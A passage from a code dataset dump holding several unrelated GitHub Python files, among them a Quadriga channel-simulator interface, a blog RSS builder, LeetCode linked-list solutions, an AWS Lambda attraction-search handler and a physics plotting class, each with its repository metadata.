List[QuadrigaChannel]\n __fetched_channels: List[QuadrigaChannel]\n\n def __init__(self, path_quadriga_src: Optional[str] = None, antenna_kind: str = \"omni\", scenario_label: str = \"3GPP_38.901_UMa_LOS\") -> None:\n \"\"\"Quadriga Interface object initialization.\n\n Args:\n path_quadriga_src (str, optional): Path to the Quadriga Matlab source files.\n antenna_kind (str, optional): Type of antenna considered.\n scenario_label (str, optional): Scenario label.\n \"\"\"\n\n # Infer the quadriga source path\n default_src_path = path.join(path.dirname(__file__), \"..\", \"..\", \"submodules\", \"quadriga\", \"quadriga_src\")\n self.path_quadriga_src = getenv(\"HERMES_QUADRIGA\", default_src_path) if path_quadriga_src is None else path_quadriga_src\n\n self.antenna_kind = antenna_kind\n self.scenario_label = scenario_label\n self.__channels = []\n self.__fetched_channels = []\n\n @property\n def path_launch_script(self) -> str:\n \"\"\"Generate path to the launch Matlab script.\n\n Returns:\n Path to the launch file.\n \"\"\"\n\n return path.join(path.split(__file__)[0], \"res\")\n\n @classmethod\n def GlobalInstance(cls: Type[QuadrigaInterface]) -> QuadrigaInterface:\n \"\"\"Access the global Quadriga interface instance.\n\n Returns:\n QuadrigaInterface: Handle to the quadriga interface.\n \"\"\"\n\n if QuadrigaInterface.__instance is None:\n QuadrigaInterface.__instance = cls()\n\n return QuadrigaInterface.__instance\n\n @classmethod\n def GlobalInstanceExists(cls: Type[QuadrigaInterface]) -> bool:\n \"\"\"Checks if a global Quadriga interface instance exists.\n\n Returns:\n bool: If a global instance exists.\n \"\"\"\n\n return QuadrigaInterface.__instance is not None\n\n @classmethod\n def SetGlobalInstance(cls: Type[QuadrigaInterface], new_instance: QuadrigaInterface) -> None:\n \"\"\"Set the new global quadriga instance.\n\n Copies registered channels to the new instance if a global instance already exists.\n\n Args:\n new_instance (QuadrigaInterface): The Quadriga interface instance to be made global.\n \"\"\"\n\n if QuadrigaInterface.__instance is not None:\n for channel in QuadrigaInterface.__instance.__channels:\n new_instance.register_channel(channel)\n\n QuadrigaInterface.__instance = new_instance\n\n @property\n def path_quadriga_src(self) -> str:\n \"\"\"Access the configured path to the Quadriga source files.\n\n Returns:\n str: Path to Quadriga sources.\n \"\"\"\n\n return self.__path_quadriga_src\n\n @path_quadriga_src.setter\n def path_quadriga_src(self, path: str) -> None:\n \"\"\"Modify the configured path to the Quadriga source files.\n\n Args:\n path (str): Path to Quadriga sources.\n\n Raises:\n ValueError: If the `path` does not exist within the filesystem.\n \"\"\"\n\n if not os.path.exists(path):\n raise ValueError(f\"Provided path to Quadriga sources {path} does not exist within filesystem\")\n\n self.__path_quadriga_src = path\n\n @property\n def antenna_kind(self) -> str:\n \"\"\"Access the configured type of antenna.\n\n Returns:\n str: The configured antenna type.\n \"\"\"\n\n return self.__antenna_kind\n\n @antenna_kind.setter\n def antenna_kind(self, antenna_type: str) -> None:\n \"\"\"Modify the configured type of antenna.\n\n Args:\n antenna_type (str): String representation of the antenna type.\n \"\"\"\n\n self.__antenna_kind = antenna_type\n\n @property\n def scenario_label(self) -> str:\n \"\"\"Access the configured quadriga scenario label.\n\n Returns:\n str: The scenario label.\n \"\"\"\n\n return self.__scenario_label\n\n @scenario_label.setter\n def scenario_label(self, label: str) -> None:\n \"\"\"Modify the configured Quadriga scenario label.\n\n Args:\n label (str): The new label.\n \"\"\"\n\n self.__scenario_label = label\n\n @property\n def channels(self) -> List[QuadrigaChannel]:\n \"\"\"Access the currently registered quadriga channels.\n\n Returns:\n List[QuadrigaChannel]: List of channel objects.\n \"\"\"\n\n return self.__channels\n\n def register_channel(self, channel: QuadrigaChannel) -> None:\n \"\"\"Register a new Quadriga channel for simulation execution.\n\n Args:\n channel (QuadrigaChannel): The channel to be registered.\n\n Raises:\n ValueError: If the `channel` has already been registered.\n \"\"\"\n\n if channel in self.__channels:\n raise ValueError(\"Channel has already been registered\")\n\n self.__channels.append(channel)\n\n def unregister_channel(self, channel: QuadrigaChannel) -> None:\n \"\"\"Unregister a Quadriga channel for simulation execution.\n\n Args:\n channel (QuadrigaChannel): The channel to be removed.\n \"\"\"\n\n if self.channel_registered(channel):\n self.__channels.pop(self.__channels.index(channel))\n\n def channel_registered(self, channel: QuadrigaChannel) -> bool:\n \"\"\"Is the channel currently registered at the interface?\n\n Args:\n\n channel (QuadrigaChannel):\n The channel in question.\n\n Returns:\n The registration state.\n \"\"\"\n\n return channel in self.__channels\n\n def get_impulse_response(self, channel: QuadrigaChannel) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"Get the impulse response for a specific quadriga channel.\n\n Will launch the quadriga channel simulator if the channel has already been fetched.\n\n Args:\n channel (QuadrigaChannel): Channel for which to fetch the impulse response.\n\n Returns:\n (np.ndarray, np.ndarray): CIR and delay. Currently, only SISO.\n\n Raises:\n ValueError: If `channel` is not registered.\n \"\"\"\n\n if channel not in self.__channels:\n raise ValueError(\"Channel not registered\")\n\n # Launch the simulator if no channel has been fetched yet\n if len(self.__fetched_channels) == 0:\n self.__launch_quadriga()\n\n # Launch the simulator if the specific channel has already been fetched\n elif channel in self.__fetched_channels:\n self.__launch_quadriga()\n self.__fetched_channels = []\n\n # Mark this channel as having been fetched\n self.__fetched_channels.append(channel)\n\n channel_indices = self.__channel_indices[self.__channels.index(channel), :]\n channel_path = self.__cirs[channel_indices[0], channel_indices[1]] # type: ignore\n return channel_path.path_impulse_responses, channel_path.tau\n\n def __launch_quadriga(self) -> None:\n \"\"\"Launches quadriga channel simulator.\n\n Raises:\n RuntimeError:\n If no channels are registered\n If transmitter sampling rates are not identical.\n \"\"\"\n\n transmitters: List[SimulatedDevice] = []\n receivers: List[SimulatedDevice] = []\n\n self.__channel_indices = np.empty((len(self.__channels), 2), dtype=int)\n receiver_index = 0\n transmitter_index = 0\n\n for channel_idx, channel in enumerate(self.__channels):\n self.__channel_indices[channel_idx, :] = (receiver_index, transmitter_index)\n\n if channel.transmitter not in transmitters:\n transmitters.append(channel.transmitter)\n transmitter_index += 1\n\n if channel.receiver not in receivers:\n receivers.append(channel.receiver)\n receiver_index += 1\n\n carriers = np.empty(len(self.__channels), dtype=float)\n tx_positions = np.empty((len(transmitters), 3), dtype=float)\n rx_positions = np.empty((len(receivers), 3), dtype=float)\n tx_num_antennas = np.empty(len(transmitters), dtype=float)\n rx_num_antennas = np.empty(len(receivers), dtype=float)\n sampling_rates = np.empty(len(transmitters), dtype=float)\n\n for t, transmitter in enumerate(transmitters):\n position = transmitter.position\n\n if np.array_equal(position, np.array([0, 0, 0])):\n raise RuntimeError(\"Position of transmitter must not be [0, 0, 0]\")\n\n sampling_rates[t] = transmitter.sampling_rate\n carriers[t] = transmitter.carrier_frequency\n tx_positions[t, :] = position\n tx_num_antennas[t] = transmitter.num_antennas\n\n for r, receiver in enumerate(receivers):\n rx_positions[r, :] = receiver.position\n rx_num_antennas[r] = receiver.num_antennas\n\n parameters = {\n \"sampling_rate\": sampling_rates,\n \"carriers\": carriers,\n \"tx_position\": tx_positions,\n \"rx_position\": rx_positions,\n \"scenario_label\": self.__scenario_label,\n \"path_quadriga_src\": self.__path_quadriga_src,\n \"txs_number_antenna\": tx_num_antennas,\n \"rxs_number_antenna\": rx_num_antennas,\n \"tx_antenna_kind\": self.__antenna_kind,\n \"rx_antenna_kind\": self.__antenna_kind,\n \"number_tx\": len(transmitters),\n \"number_rx\": len(receivers),\n \"tracks_speed\": np.zeros(len(receivers)),\n \"tracks_length\": np.zeros(len(receivers)),\n \"tracks_angle\": np.zeros(len(receivers)),\n \"seed\": np.random.rand(),\n }\n\n # Run quadriga for the specific interface implementation\n cirs = self._run_quadriga(**parameters)\n self.__cirs = cirs\n\n def _run_quadriga(self, **parameters) -> np.ndarray:\n \"\"\"Run the quadriga model.\n\n Must be realised by interface implementations.\n\n Args:\n **parameters: Quadriga channel parameters.\n \"\"\"\n\n raise NotImplementedError(\"Neither a Matlab or Octave interface was found during Quadriga execution\")\n","repo_name":"Barkhausen-Institut/hermespy","sub_path":"hermespy/channel/quadriga_interface.py","file_name":"quadriga_interface.py","file_ext":"py","file_size_in_byte":11692,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"61"} +{"seq_id":"23804069768","text":"from xml.etree import ElementTree\nfrom post import Post\nimport mainPage\nimport os\nfrom collections import OrderedDict\n\ndef main():\n slugs = [f.name for f in os.scandir(\".\") if f.is_dir() and f.name != \"__pycache__\"]\n unsortedPosts = {}\n for slug in slugs:\n newPost = Post(slug)\n newPost.compile()\n if \"draft\" not in newPost.metadata or not newPost.metadata[\"draft\"]:\n unsortedPosts[slug] = Post(slug)\n \n items1 = sorted(unsortedPosts.items(), key=lambda it:it[1].metadata[\"time-slot\"], reverse=True)\n items2 = sorted(items1, key=lambda it:it[1].dt, reverse=True)\n posts = OrderedDict(items2)\n \n mainPage.compile(posts)\n \n # RSS feed\n rss = ElementTree.Element(\"rss\")\n rss.set(\"version\", \"2.0\")\n channel = ElementTree.SubElement(rss, \"channel\")\n channelTitle = ElementTree.SubElement(channel, \"title\")\n channelTitle.text = \"William Hoza's Blog\"\n channelLink = ElementTree.SubElement(channel, \"link\")\n channelLink.text = \"https://williamhoza.com/blog/\"\n channelLanguage = ElementTree.SubElement(channel, \"language\")\n channelLanguage.text = \"en-us\"\n \n for post in list(posts.values())[:10]:\n URL = f\"https://williamhoza.com/blog/{post.slug}/\"\n \n item = ElementTree.SubElement(channel, \"item\")\n itemTitle = ElementTree.SubElement(item, \"title\")\n itemTitle.text = post.metadata[\"title\"]\n itemLink = ElementTree.SubElement(item, \"link\")\n itemLink.text = URL\n itemPubDate = ElementTree.SubElement(item, \"pubDate\")\n itemPubDate.text = post.dt.isoformat()\n itemGUID = ElementTree.SubElement(item, \"guid\")\n itemGUID.text = URL\n itemDescription = ElementTree.SubElement(item, \"description\")\n itemDescription.text = f\"{post.metadata['snippet']} Continue reading: {URL}\"\n \n ElementTree.ElementTree(rss).write(\"rss.xml\", encoding=\"utf-8\", xml_declaration=True)\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"williamhoza/personal-website","sub_path":"blog/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72297635715","text":"\"\"\"Modules for building and running look-ahead indicators and label generators.\"\"\"\n\nfrom vectorbt.labels.enums import *\nfrom vectorbt.labels.generators import (\n FMEAN,\n FSTD,\n FMIN,\n FMAX,\n FIXLB,\n MEANLB,\n LEXLB,\n TRENDLB,\n BOLB\n)\n\n__all__ = [\n 'FMEAN',\n 'FSTD',\n 'FMIN',\n 'FMAX',\n 'FIXLB',\n 'MEANLB',\n 'LEXLB',\n 'TRENDLB',\n 'BOLB'\n]\n\n__pdoc__ = {k: False for k in __all__}\n","repo_name":"nickcscott1/Backtest","sub_path":"vectorbt/labels/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2086951950","text":"from Card import Card\nfrom Deck import Deck\nfrom Player import Player\nfrom Dealer import Dealer\n\n\ndef test_drive():\n deck = Deck(6)\n player = Player()\n dealer = Dealer(player)\n \n while True:\n\n if input(\"\\nEnter 'q' to quit or 'h' for a new hand\\n\") == 'q':\n break\n \n player.reset()\n dealer.reset()\n dealer.deal()\n\n print(\"\\nPlayer:\")\n player.get_hand()\n print(\"\\nDealer:\")\n dealer.get_hand()\n\n while not dealer.player_bust:\n move = input(\"\\nHit (h) or Stand (s)\").lower()\n if move == 'h':\n dealer.player_hit()\n print(\"\\nPlayer:\")\n player.get_hand()\n if dealer.player_bust:\n print(\"Player BUST\")\n if move == 's':\n break\n \n if dealer.player_bust:\n continue\n dealer.player_stand()\n print(\"\\nDealer:\")\n dealer.get_hand(hide=False)\n if dealer.dealer_bust:\n print(\"Dealer BUST\")\n\n outcome = dealer.check_winner()\n if outcome == -1:\n print(\"\\nDealer Wins!\\n\")\n elif outcome == 0:\n print(\"\\nIt's a Tie!\\n\")\n elif outcome == 1:\n print(\"\\nPlayer Wins!\\n\")\n\n\n\n\n\n\n\n #print(player.get_card_total())\n\n\n\nif __name__ == '__main__':\n test_drive()\n","repo_name":"dylantodd01/BlackJack","sub_path":"game/TestDrive.py","file_name":"TestDrive.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3061781113","text":"def fibo(n):\n if n in [0,1]:\n return n\n else:\n return fibo(n-1)+fibo(n-2)\n\nn = 3\nprint(str(n)+'th Fibonacci number = '+str(fibo(n))+'\\n')\n\n\ndef fibonacci_numbers(max):\n a,b = 1,1\n while a < max:\n print(a)\n a,b = b,a+b\n\nnMax = 10\nprint('Fibonacci numbers smaller than '+str(nMax)+':')\nfibonacci_numbers(nMax)\n","repo_name":"finkmoritz/pythonExamples","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41192479997","text":"import string\r\n\r\ndef IsPunct(x):\r\n if x in string.punctuation:\r\n return True\r\n return False\r\n\r\n\r\n#print(a.find('abc'))\r\n#print(a.replace(',', '.'))\r\n#print(a.count(' '))\r\n#print(str(sum(char.isalpha() for char in a)), str(sum(char.isdigit() for char in a)), sep=' ')\r\n\r\n#a = int(input())\r\n#Files = []\r\n#for file in range(a): Files.append(input())\r\n#for file in Files:\r\n# if file.startswith('Python_for_study/') and (file.endswith('.py') or file.endswith('.ipynb')):\r\n# print(file)\r\n\r\n#a, b = input().strip('_').split()\r\n#print(a.upper(), b.lower(), sep=' ')\r\n\r\n#for i in input(): print(chr(ord(i)-3), end='')\r\n\r\n#name, sex, weight, age, mark = input().split()\r\n#txt = 'Mark: {mark}, name: {name}, age: {age}, weight: {weight}, sex: {sex}.'\r\n#print(txt.format(mark = mark, name = name, age = 2021 - int(age), weight = weight, sex = sex))\r\n\r\n#m1, m2 = map(lambda x: '{:.3f}'.format(round(x, 3)) ,map(float, input().split()))\r\n#txt = 'My metrcis'+ '\\n' + '-'*10 + '\\n' + 'metrics_1' + '\\t' + '{metrics_1}' + '%' + '\\n' + 'metrics_2' + '\\t' + '{metrics_2}' + '%' + '\\n' + '-'*10\r\n#print(txt.format(metrics_1 = m1, metrics_2 = m2))\r\n\r\n\r\nwith open(\"input.txt\", \"r\") as Inp, open(\"output.txt\", \"w\") as Outp: \r\n N = 0\r\n InpLines = Inp.readlines()\r\n for line in InpLines: N += 1\r\n Outp.write(str(N))\r\n","repo_name":"Vladm0z/HSE-Math","sub_path":"docs/3rd term/Python basics/Aut_Prb/6_Форматирование/Mini/mini.py","file_name":"mini.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41192130303","text":"import FWCore.ParameterSet.Config as cms\n\nmatchGenHFHadron = cms.EDProducer('GenHFHadronMatcher',\n genParticles = cms.required.InputTag,\n jetFlavourInfos = cms.required.InputTag,\n noBBbarResonances = cms.bool(True),\n onlyJetClusteredHadrons = cms.bool(False),\n flavour = cms.int32(5),\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"PhysicsTools/JetMCAlgos/matchGenHFHadron_cfi.py","file_name":"matchGenHFHadron_cfi.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72324637313","text":"from typing import Optional\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n# 2.7 first try碰到【1,0,1】过不了\nclass Solution:\n def isPalindrome(self, head: Optional[ListNode]) -> bool:\n stack = []\n if not head or not head.next:\n # 0 or 1 node, return true\n return True\n cur = head\n while cur:\n if stack and cur.val == stack[-1]:\n stack.pop()\n cur = cur.next\n continue\n stack.append(cur.val)\n cur = cur.next\n return not stack\n\n# 看了neetcode答案。和我自己隐约想到的快慢指针找中点然后reverse差不多但是我自己写不出来\nclass Solution:\n def isPalindrome(self, head: Optional[ListNode]) -> bool:\n # find middle point\n fast, slow = head, head\n while fast: # 这里要改成while fast and fast.next\n slow = slow.next\n fast = fast.next.next\n # reverse 2nd half\n prev = None\n cur = slow\n while cur and cur.next: # 归根结底还是不记得怎么reverse linked list了\n temp = cur.next\n cur.next.next = cur\n cur.next = prev\n prev = cur\n cur = temp\n # check palindromic\n while cur and head: # 这里要check的不是cur而是prev,因为cur最后会停在最后一个node的next,即None\n if cur.val != head.val:\n return False\n cur = cur.next\n head = head.next\n return True\n\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n fast = head\n slow = head\n \n # find the middle (slow)\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n \n # reverse second half\n prev = None\n while slow:\n tmp = slow.next\n slow.next = prev\n prev = slow\n slow = tmp\n \n # check palindrome\n left, right = head, prev\n while right:\n if left.val != right.val:\n return False\n left = left.next\n right = right.next\n return True\n\n# 对照neetcode的答案自己找了一下bug\nclass Solution:\n def isPalindrome(self, head: Optional[ListNode]) -> bool:\n # find middle point\n fast, slow = head, head\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n # reverse 2nd half\n prev = None\n cur = slow\n while cur:\n temp = cur.next\n cur.next = prev\n prev = cur\n cur = temp\n # check palindromic\n while prev and head:\n if prev.val != head.val:\n return False\n prev = prev.next\n head = head.next\n return True","repo_name":"deezeey/LC","sub_path":"src/solutions/234_palindrome-linked-list.py","file_name":"234_palindrome-linked-list.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18200681471","text":"import boto3\nfrom decimal import Decimal\nfrom elasticsearch import Elasticsearch\nimport inflect\nimport json\nimport nltk\nimport os\nimport string\nimport time\nfrom urllib.parse import quote\nimport urllib3\n\n\nclient = Elasticsearch(\n os.environ['ES'],\n http_auth=(os.environ['ES_U'], os.environ['ES_K']),\n max_retries=5,\n request_timeout=60000\n)\ndynamo = boto3.resource('dynamodb')\n\nattractionTable = dynamo.Table(\"attractions4u-attractions\")\npageHistoryTable = dynamo.Table(\"attractions4u-page-history\")\n# searchHistoryTable = dynamo.Table(\"attractions4u-search-history\")\n\n\nresponse_headers = {\n \"Content-Type\": \"application/json\",\n \"Access-Control-Allow-Headers\" : \"Authorization, Content-Type\",\n \"Access-Control-Allow-Origin\": \"*\",\n \"Access-Control-Allow-Methods\": \"POST,GET\"\n}\n\n\nYELP_HOST = os.environ['YELP_HOST']\nYELP_PATH = os.environ['YELP_PATH']\nYELP_SEARCH_TERM = 'restaurant'\nSEARCH_LIMIT = 5\nexample = {\n \"rating\": 4,\n \"price\": \"$\",\n \"phone\": \"+14152520800\",\n \"id\": \"E8RJkjfdcwgtyoPMjQgg_Olg\",\n \"categories\": [\n {\n \"alias\": \"coffee\",\n \"title\": \"Coffee & Tea\"\n }\n ],\n \"review_count\": 1738,\n \"name\": \"Four Barrel Coffee\",\n \"location\": {\n \"city\": \"San Francisco\",\n \"country\": \"US\",\n \"address2\": \"\",\n \"address3\": \"\",\n \"state\": \"CA\",\n \"address1\": \"375 Valencia St\",\n \"zip_code\": \"94103\"\n }\n}\n\n\nyelp_headers = urllib3.make_headers()\nyelp_headers['Authorization'] = f\"Bearer {os.environ['YELP_K']}\"\nhttp = urllib3.PoolManager()\n\n\ndef get_request(host, path, url_params):\n url = '{0}{1}'.format(host, quote(path.encode('utf8')))\n print(url_params)\n response = http.request('GET', url, headers=yelp_headers, fields=url_params)\n return json.loads(response.data.decode('utf8'))\n\n\ndef search_restaurants(term, location):\n url_params = {\n 'term': term.replace(' ', '+'),\n 'location': location.replace(' ', '+'),\n 'limit': int(SEARCH_LIMIT),\n 'radius': int(40000)\n }\n res = get_request(YELP_HOST, YELP_PATH, url_params).get('businesses', [])\n for i in range(len(res)):\n res[i] = {k: v for k, v in res[i].items() if k in example}\n return res\n\n\nclass DecimalEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, Decimal):\n return str(obj)\n return json.JSONEncoder.default(self, obj)\n\n\ndef get_location_query(addr: str):\n res = addr\n parts = addr.replace(',', ',').replace(', ', ',').split(',')\n if 'USA' in addr:\n res = parts[-2]\n elif 'China' in addr:\n if addr.startswith('China'):\n res = '+'.join([parts[1], parts[-1][-6:], parts[0]])\n else:\n res = '+'.join(parts[-3:])\n elif 'Vietnam' in addr:\n res = '+'.join(parts[-3:])\n else:\n res = '+'.join(parts[-2:])\n return res\n\n\nNOUN_TAGS = {'NN', 'NNS', 'NNPS', 'NNP'}\nINFLECT = inflect.engine()\n\ndef proc_usr_query(query_str: str):\n res_tokens = []\n for token, tag in nltk.pos_tag(query_str.replace('_', ' ').translate(str.maketrans('', '', string.punctuation)).split()):\n if tag in NOUN_TAGS:\n singular = INFLECT.singular_noun(token)\n if singular:\n res_tokens.append(singular)\n else:\n res_tokens.append(token)\n else:\n res_tokens.append(token)\n return ' '.join(res_tokens)\n\n\ndef lambda_handler(event, context):\n username = event['requestContext']['authorizer']['jwt']['claims']['email']\n body = ''\n t = time.time_ns()\n\n path = event['routeKey']\n if path == \"GET /search/{keyword}\":\n keyword = event['pathParameters']['keyword']\n keywordP = proc_usr_query(keyword)\n # print(f\"[DEBUG] USER QUERY BEFORE {keyword}, AFTER {keywordP}\")\n\n query = {\n \"size\": 60,\n \"query\": {\n \"function_score\": {\n \"query\": {\n \"bool\": {\n \"should\": [\n { \"match_phrase\": {\"attractionTypeP\": keywordP} },\n { \"match_phrase\": {\"attractionName\": keyword} },\n { \"match_phrase\": {\"address\": keyword} },\n { \"match_phrase\": {\"descriptionP\": keywordP} },\n { \"match_phrase\": {\"rekognitionLabels\": keywordP} }\n ]\n }\n },\n \"random_score\": {\n \"seed\": time.time_ns()\n }\n }\n },\n \"fields\": [\"_id\"],\n \"_source\": False\n }\n response = client.search(index='attractions', body=query)\n ids = [{'attractionId': item['_id']} for item in response[\"hits\"][\"hits\"]]\n if len(ids):\n # Update search history\n # historyRes = searchHistoryTable.get_item(\n # Key={\n # \"username\": username,\n # \"query\": keyword\n # }\n # )\n # if 'Item' in historyRes:\n # historyRow = historyRes['Item']\n # historyRow['cnt'] += 1\n # historyRow['lastHit'] = t\n # else:\n # historyRow = {\n # \"username\": username,\n # \"query\": keyword,\n # \"cnt\": 1,\n # \"lastHit\": t\n # }\n # searchHistoryTable.put_item(Item=historyRow)\n\n # Get attraction details given IDs\n batch_q = {\n attractionTable.name: {\n 'Keys': ids,\n 'ProjectionExpression': \"attractionId, attractionName, description, photos, rating, reviews_cnt\"\n }\n }\n tmp = dynamo.batch_get_item(RequestItems=batch_q)\n body = tmp['Responses'][attractionTable.name]\n\n else:\n body = []\n\n elif path == \"GET /attraction/{attractionId}\":\n attractionId = event['pathParameters']['attractionId']\n tmp = attractionTable.get_item(Key={'attractionId': attractionId})\n\n if 'Item' in tmp:\n body = tmp['Item']\n\n # Update page visit count and missing data\n if 'cnt' in body:\n body['cnt'] += 1\n else:\n body['cnt'] = 1\n\n if 'weekday_text' not in body['opening_hours']:\n body['opening_hours']['weekday_text'] = []\n\n attractionTable.put_item(Item=body)\n\n # Update page view history\n historyRes = pageHistoryTable.get_item(\n Key={\n \"attractionId\": attractionId, \n \"username\": username\n }\n )\n if 'Item' in historyRes:\n historyRow = historyRes['Item']\n historyRow['cnt'] += 1\n historyRow['lastVisit'] = t\n else:\n historyRow = {\n \"attractionId\": attractionId, \n \"username\": username,\n \"cnt\": 1,\n \"lastVisit\": t\n }\n pageHistoryTable.put_item(Item=historyRow)\n\n if 'restaurants' not in body:\n body['restaurants'] = search_restaurants(YELP_SEARCH_TERM, get_location_query(body['address']))\n else:\n return {\n \"statusCode\": 404,\n 'body': json.dumps({\"err\": f'Attraction with ID {attractionId} doesn\\'t exist!'}),\n 'headers': response_headers\n }\n else:\n return {\n \"statusCode\": 400,\n 'body': json.dumps({\"err\": \"Unsupported path!\"}),\n 'headers': response_headers\n }\n\n return {\n 'statusCode': 200,\n 'body': json.dumps(body, cls=DecimalEncoder),\n 'headers': response_headers\n }\n","repo_name":"howieraem/Attractions4U-Backend","sub_path":"attractions4u-attraction-py/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":7993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12106206714","text":"class Solution:\n def twoCitySchedCost(self, costs: List[List[int]]) -> int:\n a, b, cost = [], [], 0\n for i in costs:\n if i[0] < i[1]:\n a.append(i[1]-i[0])\n cost += i[0]\n else:\n b.append(i[0]-i[1])\n cost += i[1]\n x = abs(len(a)-len(b))//2\n if len(a) < len(b):\n b.sort()\n cost += sum(b[:x])\n else:\n a.sort()\n cost += sum(a[:x])\n return cost\n","repo_name":"abhinav1912/LeetCode","sub_path":"Two City Scheduling.py","file_name":"Two City Scheduling.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71019556994","text":"\"\"\"\nmanage a list of names.\nThis program focuses on using different modes to read,\nwrite, and append data to a file.\n\"\"\"\ndef write_names(names):\n with open('names.txt', 'w') as file:\n for name in names:\n file.write(name + '\\n')\n\ndef read_names():\n try:\n with open('names.txt', 'r') as file:\n names = file.readlines()\n names = [name.strip() for name in names]\n return names\n except FileNotFoundError:\n print(\"File 'names.txt' not found.\")\n return []\n\ndef append_name(name):\n with open('names.txt', 'a') as file:\n file.write(name + '\\n')\n\nnames = ['Alice' , 'Bob' , 'Charlie' , 'David']\n\nwrite_names(names)\n\nwhile True:\n print(\"Select an action:\")\n print(\"1. Add Name\")\n print(\"2. Views Names\")\n print(\"3. Quit\")\n choice = int(input(\"Enter your choice: \"))\n\n if choice == 1:\n new_name = input(\"Enter a new name: \")\n append_name(new_name)\n print(f\"Added '{new_name} to the list.\")\n elif choice == 2:\n names = read_names()\n if names:\n print(\"Names in the list:\")\n for idx, name in enumerate(names, start=1):\n print(f\"{idx}. {name}\")\n else:\n print(\"The list is empty.\")\n elif choice == 3:\n print(\"Existing the program.\")\n break\n else:\n print(\"Invalid choice. Please select a valid option.\")","repo_name":"PhathaphonSawettaboot/python-playground","sub_path":"manage-name-lists.py","file_name":"manage-name-lists.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69974415875","text":"#!/usr/bin/env python2\n\n\"\"\" Plotting class for mass scan. \"\"\"\n\nfrom os import system\nfrom ROOT import TFile, gStyle # pylint: disable=import-error\nfrom Logger import LGR\nfrom ToolboxTH2 import ToolboxTH2\nfrom ToolboxHelper import safe_divide\n\n\nclass MassScanPlots(object):\n\n \"\"\" Plotting class for mass scan. \"\"\"\n\n def __init__(self):\n\n \"\"\" Initialize object variables. \"\"\"\n\n # X/Y coordinates for plotting\n self.coordinate_x = []\n self.coordinate_y = []\n\n # Axes labels\n self._axis_x = 'M_{3} [GeV]'\n self._axis_y = '#mu [GeV]'\n\n # Branching ratios\n self.br_leptons = [[], [], [], [], []]\n self.br_jets = [[], [], [], [], [], [], [], [], [], [], [], [], []]\n self.br_photons = [[], [], [], []]\n self.br_met = [[], [], [], [], []]\n\n # xs's\n self.xs13_incl = []\n self.xs13_strong = []\n self.xs13_gluinos = []\n self.xs8_incl = []\n self.xs8_strong = []\n\n # Dominant production particle id\n self.dom_id1 = []\n self.dom_id2 = []\n\n # Masses\n self.m_gluino = []\n self.m_neutralino1 = []\n self.m_neutralino2 = []\n self.m_neutralino3 = []\n self.m_neutralino4 = []\n self.m_chargino1 = []\n self.m_chargino2 = []\n self.m_stop1 = []\n self.m_stop2 = []\n self.m_smhiggs = []\n self.m_sdown_l = []\n self.m_sdown_r = []\n self.m_sup_l = []\n self.m_sup_r = []\n self.m_sstrange_l = []\n self.m_sstrange_r = []\n self.m_scharm_l = []\n self.m_scharm_r = []\n\n # Lifetimes\n self.ct_gluino = []\n self.ct_chargino1 = []\n self.ct_neutralino2 = []\n\n # Decay channels\n self.dc_gluino = []\n self.dc_chargino1 = []\n self.dc_chargino2 = []\n self.dc_neutralino2 = []\n self.dc_neutralino3 = []\n self.dc_neutralino4 = []\n self.dc_sdown_l = []\n self.dc_sdown_r = []\n self.dc_sup_l = []\n self.dc_sup_r = []\n self.dc_sstrange_l = []\n self.dc_sstrange_r = []\n self.dc_scharm_l = []\n self.dc_scharm_r = []\n\n # Signal strength\n self.mu = [] # pylint: disable=invalid-name\n\n # Star to be plotted on all TH2's\n self._star = [0, 0]\n\n # Text which explains parameter values\n self._text = []\n\n self._toolbox = ToolboxTH2()\n\n def plot(self):\n\n \"\"\" ROOT plotting. \"\"\"\n\n # Masses\n name = 'm_gluino'\n title = 'm_{#tilde{g}} [GeV]'\n self._make_plot(name, title, self.m_gluino)\n\n name = 'm_neutralino1'\n title = 'm_{#chi_{1}^{0}} [GeV]'\n self._make_plot(name, title, self.m_neutralino1)\n\n name = 'm_neutralino2'\n title = 'm_{#chi_{2}^{0}} [GeV]'\n self._make_plot(name, title, self.m_neutralino2)\n\n name = 'm_neutralino3'\n title = 'm_{#chi_{3}^{0}} [GeV]'\n self._make_plot(name, title, self.m_neutralino3)\n\n name = 'm_neutralino4'\n title = 'm_{#chi_{4}^{0}} [GeV]'\n self._make_plot(name, title, self.m_neutralino4)\n\n name = 'm_chargino1'\n title = 'm_{#chi_{1}^{#pm}} 